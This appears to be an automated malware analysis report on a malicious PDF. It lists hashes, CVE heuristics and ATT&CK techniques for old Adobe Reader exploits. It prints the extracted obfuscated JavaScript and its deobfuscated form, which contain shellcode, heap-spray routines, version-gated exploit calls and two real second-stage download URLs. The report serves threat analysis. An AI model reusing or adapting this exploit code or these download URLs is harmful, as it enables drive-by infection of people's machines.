PDF malware analysis — malicious · 615a8bb6f85955f6

MALICIOUS

PDF

12.4 KB First seen: 2014-02-04

MD5: eb2c0992e1e8f26488f81b169d925b85 SHA-1: 9f24391a34786f1af6bd20bfab409bad5caa47d3 SHA-256: 615a8bb6f85955f6269143a04331eb5a308d89e09d553470684a08aef0da955f

570 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF exploits multiple known Adobe Reader vulnerabilities via embedded JavaScript. The deobfuscated JavaScript contains shellcode that attempts to download a second-stage payload from the URLs http://199.255.236.212/w.php?f=79&e=3 and http://crypt.im/test.php. This indicates a downloader or dropper functionality.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 12

media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324

PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Js.Exploit.HTML-28 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Js.Exploit.HTML-28
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://199.255.236.212/w.php?f=79&e=3 Referenced by PDF JavaScript
- http://crypt.im/test.phpReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0076_000.js`	pdf-javascript-stream	PDF /JS object 76 at offset 0x2C2	11791 bytes
SHA-256: `32358f205e5a5b13ee80582611b14c4ec1bb2db64688ef91f5d8654fa4f0fc68`
Detection ClamAV: Js.Exploit.HTML-28 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script x='e'; arr='5@37@6@23@6@14@21@14@58@58@70@28@67@66@34@14@48@17@13@24@12@12@48@17@37@64@23@59@48@17@13@65@37@64@48@17@42@65@23@59@48@17@23@2@24@59@48@17@24@24@65@37@48@17@12@59@64@15@48@17@59@15@13@70@48@17@13@70@24@15@48@17@15@64@59@15@48@17@42@15@13@70@48@17@65@12@21@64@48@17@42@12@13@70@48@17@24@24@15@13@48@17@12@12@57@70@48@17@65@23@13@70@48@17@15@24@24@64@48@17@24@24@42@59@48@17@13@21@38@64@48@17@21@65@23@23@48@17@37@37@21@15@48@17@70@13@37@37@48@17@59@15@13@70@48@17@64@24@24@15@48@17@24@2@59@12@48@17@42@65@15@12@48@17@13@42@37@70@48@17@38@59@24@59@48@17@23@59@13@65@48@17@65@21@42@65@48@17@23@70@23@2@48@17@65@21@59@64@48@17@13@70@65@12@48@17@24@64@42@65@48@17@42@59@13@70@48@17@42@13@24@65@48@17@37@65@15@24@48@17@13@70@65@12@48@17@38@15@42@12@48@17@37@65@15@24@48@17@64@2@24@24@48@17@59@21@59@2@48@17@27@57@37@64@48@17@64@65@15@24@48@17@57@70@24@24@48@17@70@23@15@37@48@17@24@13@21@15@48@17@42@59@37@38@48@17@64@21@15@13@48@17@15@57@64@70@48@17@57@27@15@24@48@17@23@70@59@15@48@17@24@70@37@21@48@17@42@65@21@37@48@17@65@23@23@12@48@17@65@23@13@70@48@17@15@24@38@59@48@17@12@12@57@57@48@17@15@64@13@70@48@17@13@57@59@70@48@17@23@64@59@12@48@17@65@59@37@37@48@17@15@64@38@59@48@17@57@13@13@70@48@17@57@57@15@24@48@17@15@59@13@70@48@17@15@24@13@70@48@17@27@70@64@65@48@17@65@2@65@23@48@17@23@70@64@24@48@17@27@57@65@24@48@17@12@13@13@70@48@17@13@15@38@15@48@17@15@64@42@57@48@17@42@59@24@24@48@17@2@12@15@24@48@17@37@24@23@70@48@17@12@13@13@70@48@17@13@70@15@13@48@17@12@27@37@42@48@17@65@2@15@65@48@17@2@13@23@13@48@17@37@37@37@37@48@17@23@38@37@37@48@17@23@13@37@2@48@17@15@15@15@15@48@17@15@15@15@15@48@17@65@15@65@13@48@17@59@15@12@27@48@17@37@37@12@13@48@17@15@15@15@15@48@17@65@15@15@15@48@17@64@15@13@24@48@17@65@15@21@2@48@17@13@70@65@65@48@17@13@70@23@64@48@17@21@15@65@23@48@17@64@24@13@24@48@17@37@37@15@65@48@17@12@13@23@24@48@17@12@23@12@37@48@17@15@15@15@15@48@17@42@65@12@13@48@17@12@64@42@38@48@17@65@59@12@57@48@17@21@12@37@37@48@17@64@59@13@24@48@17@13@70@15@13@48@17@23@13@23@13@48@17@37@37@12@21@48@17@37@37@37@37@48@17@15@38@23@70@48@17@42@38@23@70@48@17@23@64@13@21@48@17@15@21@15@59@48@17@15@15@15@15@48@17@65@64@13@57@48@17@15@64@38@59@48@17@15@59@64@42@48@17@42@38@38@59@48@17@12@42@12@65@48@17@64@42@42@24@48@17@38@59@59@59@48@17@42@12@15@59@48@17@24@24@42@38@48@17@64@42@24@38@48@17@38@59@59@59@48@17@38@15@15@13@48@17@42@24@38@57@48@17@65@24@38@15@48@17@37@13@12@13@48@17@15@15@15@15@48@17@37@37@15@15@48@17@15@64@65@12@48@17@23@13@13@70@48@17@64@2@24@24@48@17@64@42@65@21@48@17@21@57@59@59@48@17@42@42@15@15@48@17@12@38@42@15@48@17@64@42@42@59@48@17@21@57@59@59@48@17@38@23@15@65@48@17@12@64@12@59@48@17@64@12@12@64@48@17@21@57@59@59@48@17@15@15@15@2@48@17@13@27@65@2@48@17@15@59@64@21@48@17@13@13@24@15@48@17@21@57@59@59@48@17@59@21@15@59@48@17@12@27@65@21@48@17@12@27@15@15@48@17@65@24@15@15@48@17@12@27@65@42@48@17@37@37@15@15@48@17@21@59@65@12@48@17@64@15@13@65@48@17@21@12@42@65@48@17@15@15@12@27@48@17@37@37@65@24@48@17@15@59@65@12@48@17@15@15@12@27@48@17@23@70@13@24@48@17@65@24@15@64@48@17@65@12@37@37@48@17@13@24@15@59@48@17@15@64@64@24@48@17@15@38@23@70@48@17@21@24@23@70@48@17@13@15@59@42@48@17@15@15@24@37@48@17@37@27@42@65@48@17@13@15@59@42@48@17@15@15@24@37@48@17@64@59@42@65@48@17@15@15@12@27@48@17@37@23@12@27@48@17@65@12@37@37@48@17@23@13@15@13@48@17@37@23@2@64@48@17@37@37@37@37@48@17@59@23@13@23@48@17@23@64@15@23@48@17@37@23@2@13@48@17@15@23@13@27@48@17@12@37@13@2@48@17@70@57@15@21@48@17@64@27@24@24@48@17@65@70@13@27@48@17@64@12@21@70@48@17@42@2@59@12@48@17@21@27@24@12@48@17@42@15@38@37@48@17@42@59@12@13@48@17@42@15@42@59@48@17@38@37@24@27@48@17@24@21@38@37@48@17@24@2@24@2@48@17@24@38@38@23@48@17@24@65@24@65@48@17@24@38@38@23@48@17@24@12@24@24@48@17@24@38@38@23@48@17@24@38@24@21@48@17@42@42@38@37@48@17@42@15@38@23@48@17@42@15@12@13@48@17@12@12@24@37@48@17@24@42@24@57@48@17@38@12@24@2@48@17@24@57@12@65@48@17@15@15@24@24@48@17@42@59@12@13@48@17@42@15@42@59@48@17@38@37@24@27@48@17@12@24@38@37@48@17@42@2@42@38@48@17@42@59@42@15@48@17@12@2@38@23@48@17@38@37@12@57@48@17@12@65@42@59@48@17@42@59@42@24@48@17@42@15@38@23@48@17@42@15@12@13@48@17@15@15@15@15@14@56@37@17@45@64@35@5@0@45@22@23@31@9@52@6@52@27@8@1@29@58@68@43@55@5@62@23@6@52@27@49@62@23@45@66@35@55@40@38@30@1@29@58@68@52@27@33@34@52@27@56@71@52@27@34@52@27@49@67@17@70@67@35@52@5@45@66@6@15@8@1@29@54@38@58@56@52@23@35@17@52@45@22@52@27@56@71@22@37@17@45@64@35@5@0@45@22@70@50@6@58@68@9@27@52@22@57@19@66@34@45@23@43@22@61@52@52@27@29@6@58@56@9@27@52@22@9@43@34@15@50@15@64@15@64@15@64@15@64@56@9@27@52@22@27@57@57@52@34@15@50@59@15@15@15@15@15@56@9@27@52@22@53@27@29@62@0@27@57@34@17@45@23@67@64@27@53@23@6@70@28@67@66@58@56@9@27@52@22@67@64@4@62@23@45@34@53@27@29@62@0@27@57@49@62@23@45@66@35@55@40@38@56@9@27@52@22@1@29@34@27@57@57@52@44@6@67@64@4@62@23@45@33@15@50@24@13@58@56@9@27@52@22@29@27@52@67@53@34@17@45@23@67@64@27@53@23@6@36@48@17@2@15@2@15@48@17@2@15@2@15@36@58@56@29@27@52@67@53@34@23@31@9@52@6@29@27@52@67@53@8@1@29@58@56@9@27@52@22@64@0@17@45@35@38@34@6@9@43@44@15@50@59@15@15@15@15@15@58@54@27@57@57@52@56@37@0@52@6@9@27@52@22@64@0@17@45@35@34@15@56@64@0@17@45@35@30@64@0@17@45@35@38@56@64@0@17@45@35@33@33@58@68@57@19@66@47@64@0@17@45@35@32@34@29@27@52@67@53@33@53@27@29@62@0@27@57@56@71@22@9@27@52@22@0@9@23@52@37@62@0@43@34@17@45@23@67@64@27@53@23@6@36@48@17@15@64@15@64@48@17@15@64@15@64@36@58@56@43@55@5@62@23@6@0@9@23@52@37@62@0@43@49@62@23@45@66@35@55@30@59@59@2@65@38@58@68@0@9@23@52@37@62@0@43@33@34@0@9@23@52@37@62@0@43@56@71@22@35@55@5@67@49@64@0@62@62@27@70@41@35@0@52@23@34@75@0@62@62@27@70@49@64@0@62@62@23@64@35@3@51@27@5@62@63@45@37@0@6@68@67@17@70@28@46@36@36@8@51@67@66@46@0@9@23@52@37@62@0@43@71@58@56@71@22@37@17@45@64@35@5@0@45@22@53@52@5@45@35@37@6@58@68@45@0@53@34@17@45@23@67@64@27@53@23@6@36@48@17@15@61@15@61@48@17@15@61@15@61@48@17@15@61@15@61@48@17@15@61@15@61@36@58@56@9@27@52@22@53@27@29@62@0@27@57@34@17@45@23@67@64@27@53@23@6@70@28@67@66@58@56@55@23@27@53@70@62@0@64@19@34@45@0@53@33@53@27@29@62@0@27@57@56@70@5@66@70@62@0@64@19@34@17@45@23@67@64@27@53@23@6@36@48@17@15@61@15@61@48@17@15@61@15@61@36@58@56@55@23@27@57@23@52@67@5@31@23@34@38@15@56@67@53@52@27@29@34@55@23@27@57@23@52@67@5@31@23@33@55@23@27@53@70@62@0@64@19@49@62@23@45@66@35@55@56@43@55@5@62@23@6@70@5@66@70@62@0@64@19@49@62@23@45@66@35@55@30@67@53@52@27@29@58@68@70@5@66@70@62@0@64@19@33@34@70@5@66@70@62@0@64@19@56@71@22@37@5@62@62@70@62@0@64@19@34@70@5@66@70@62@0@64@19@49@67@17@70@67@35@52@5@45@66@6@15@8@67@53@52@27@29@58@56@70@62@0@64@19@34@70@5@66@70@62@0@64@19@49@67@17@70@67@35@52@5@45@66@6@15@8@70@5@66@70@62@0@64@19@49@62@23@45@66@35@55@44@67@53@52@27@29@58@56@43@55@5@62@23@6@70@62@0@64@19@49@62@23@45@66@35@55@33@67@53@52@27@29@30@15@50@59@15@15@15@15@58@68@70@62@0@64@19@34@70@62@0@64@19@33@70@62@0@64@19@33@37@5@62@62@70@62@0@64@19@56@71@22@51@23@51@34@45@23@43@22@61@52@52@27@29@6@58@56@37@0@52@6@5@34@15@56@5@30@21@59@15@15@56@5@33@33@58@68@51@23@51@47@5@32@34@70@62@0@64@19@33@55@23@27@53@70@62@0@64@19@56@71@22@9@27@52@22@45@17@51@34@21@38@2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@2@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@13@56@17@35@5@62@49@53@52@5@45@35@37@6@36@48@59@65@15@15@15@37@36@8@45@17@51@58@56@71@22@37@17@45@64@35@5@0@45@22@66@23@35@5@64@0@45@6@58@68@9@27@52@22@27@52@52@29@34@45@23@43@22@61@52@52@27@29@6@58@56@5@37@6@27@53@53@49@57@0@64@49@75@0@62@62@27@70@49@66@23@35@63@64@0@45@58@68@9@27@52@22@53@27@29@62@0@27@57@34@17@45@23@67@64@27@53@23@6@70@28@67@66@58@56@9@27@52@22@55@16@1@65@15@15@75@11@34@53@27@29@62@0@27@57@49@62@23@45@66@35@55@40@38@56@9@27@52@22@1@29@34@15@50@59@15@15@15@15@15@44@6@55@16@1@65@15@15@75@11@33@15@50@24@13@58@56@9@27@52@22@29@27@52@67@53@34@17@45@23@67@64@27@53@23@6@36@48@17@2@15@2@15@48@17@2@15@2@15@36@58@56@29@27@52@67@53@34@23@31@9@52@6@29@27@52@67@53@8@1@29@58@56@9@27@52@22@53@65@61@28@7@12@65@37@34@6@15@50@15@64@15@64@15@64@15@64@44@15@50@59@15@15@15@15@15@58@54@15@50@59@15@15@15@15@15@56@37@0@52@6@9@27@52@22@9@1@64@72@73@2@12@29@34@15@56@9@1@64@72@73@2@12@29@30@53@65@61@28@7@12@65@37@56@9@1@64@72@73@2@12@29@33@33@58@68@27@52@52@29@47@9@1@64@72@73@2@12@29@32@34@29@27@52@67@53@33@53@27@29@62@0@27@57@56@71@22@9@27@52@22@35@60@69@55@11@70@18@43@34@17@45@23@67@64@27@53@23@6@36@48@15@2@36@58@56@43@55@5@62@23@6@35@60@69@55@11@70@18@43@49@62@23@45@66@35@55@30@15@50@59@15@15@15@58@68@35@60@69@55@11@70@18@43@33@34@35@60@69@55@11@70@18@43@56@71@22@35@60@69@55@11@70@18@43@34@36@11@49@36@33@35@60@69@55@11@70@18@43@56@27@53@53@49@57@0@64@49@75@0@62@62@27@70@49@66@23@35@63@64@0@45@6@35@60@69@55@11@70@18@43@58@56@71@71@22@27@26@62@17@66@5@45@67@34@27@53@53@49@53@62@17@66@63@45@67@56@9@27@52@22@67@9@34@53@27@52@67@23@63@45@35@6@27@53@53@49@9@5@23@43@23@52@10@23@52@67@5@0@45@49@35@0@41@35@52@5@45@66@6@58@49@64@55@27@52@61@35@6@15@58@58@56@37@0@52@6@9@27@52@22@5@34@15@56@5@30@27@26@62@17@66@5@45@67@49@62@23@45@66@35@55@56@5@33@33@58@68@5@37@6@27@26@62@17@66@5@45@67@47@5@32@49@45@27@51@23@34@34@14@3@41@64@52@5@53@35@14@58@68@9@27@52@22@62@9@34@27@26@62@17@66@5@45@67@47@5@32@49@9@23@52@67@5@0@45@56@71@71@22@5@37@6@6@62@9@34@34@2@58@25@25@6@6@67@9@34@34@13@58@20@20@6@62@9@30@34@13@49@21@38@58@58@58@68@66@23@35@5@64@0@45@6@58@56@71@23@62@67@23@22@5@37@6@62@9@34@34@42@49@21@58@68@53@52@5@45@35@37@6@58@56@71@23@62@67@23@22@5@37@6@6@6@67@9@34@34@12@58@25@25@6@67@9@34@34@42@58@58@20@20@6@62@9@30@42@49@21@21@58@58@68@70@50@6@58@56@71@23@62@67@23@22@5@37@6@6@62@9@74@34@2@49@21@58@25@25@6@62@9@30@34@2@49@38@58@25@25@6@62@9@74@34@13@49@21@24@58@25@25@6@62@9@30@34@13@49@21@42@58@58@68@37@17@45@64@35@5@0@45@22@27@6@58@68@17@35@5@62@49@53@52@5@45@35@57@6@14@53@39@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@21@22@46@22@29@29@29@29@21@21@21@14@8@45@23@43@22@73@27@35@23@6@58@58@56@71@9@27@52@22@55@34@27@53@53@49@53@62@17@66@63@45@67@56@37@0@52@6@9@27@52@22@37@34@15@56@37@30@55@49@62@23@45@66@35@55@56@37@33@33@58@68@5@37@6@55@47@37@32@49@45@27@51@23@34@34@14@3@41@64@52@5@53@35@14@58@68@9@27@52@22@5@34@55@47@37@32@49@9@23@52@67@5@0@45@56@71@71@22@5@37@6@6@5@74@13@49@21@38@58@20@20@6@5@30@13@49@38@58@58@68@64@34@45@23@43@22@61@52@52@27@29@6@58@56@9@27@52@22@57@34@17@45@23@67@64@27@53@23@6@14@48@17@2@15@2@15@48@17@2@15@2@15@14@58@56@9@27@52@22@23@34@17@45@23@67@64@27@53@23@6@70@28@67@66@58@56@43@55@5@62@23@6@57@49@62@23@45@66@35@55@30@34@15@50@13@15@15@15@58@68@57@33@34@57@56@71@57@34@57@49@67@17@70@67@35@52@6@15@8@15@50@13@15@15@15@44@23@49@62@23@45@66@35@55@58@56@37@0@52@6@37@34@15@56@37@30@38@2@15@15@56@37@33@33@58@68@64@47@37@32@34@57@33@23@56@71@27@6@58@56@27@6@58@56@35@52@29@68@35@55@5@67@49@51@23@57@5@27@49@45@23@43@26@62@27@29@23@52@6@45@17@62@62@58@56@71@64@27@35@64@55@6@23@58@68@71@27@6@58@56@71@71'; cc={q:'oq9E_i(K,vVN68"0WuGk&1 e3\|Pajy<z]+=t"f2@*S7w-n:[%.xmrp/h;d)4UAlIc5gs{Mb}QD>C'}.q; q=x+'v'+'al'; a=(Date+String).substr(2,3); aa=([].unshift+[].reverse).substr(2,3); if (aa==a){ t='3vtwe'; e=t['substr']; w=e(12)[q]; s=[]; ar=arr.split('@'); n=cc; for(i=0;i<ar.length;i++){ s[i]=n[ar[i]]; } if(a===aa)w(s.join('')); }
`split_char_table_stage_000.js`	deobfuscated-js	split character-table join decoded JavaScript at offset 0x2D1	3936 bytes
SHA-256: `c980faa4c42b98f6798ca145d8495fed02ccfaca143cd46f69fb1e4fc373e86f`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script if(e("1"))bjsg="%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u312f%u3939%u322e%u3535%u322e%u3633%u322e%u3231%u772f%u702e%u7068%u663f%u373d%u2639%u3d65%u0033%u7468%u7074%u2f3a%u632f%u7972%u7470%u692e%u2f6d%u6574%u7473%u702e%u7068%u0000";function ezvr(ra,qy){while(ra.length2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=="EScript"){var lv=aPlugins[i].version;}} if((lv==9)\|\|((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)\|\|(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)\|\|(lv<=9.2)\|\|(lv>=8.13)\|\|(lv<=8.17)){function a(){util.printd("p@111111111111111111111111 : yyyy111",new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=="EScript"){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape("%u9090%u9090");var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.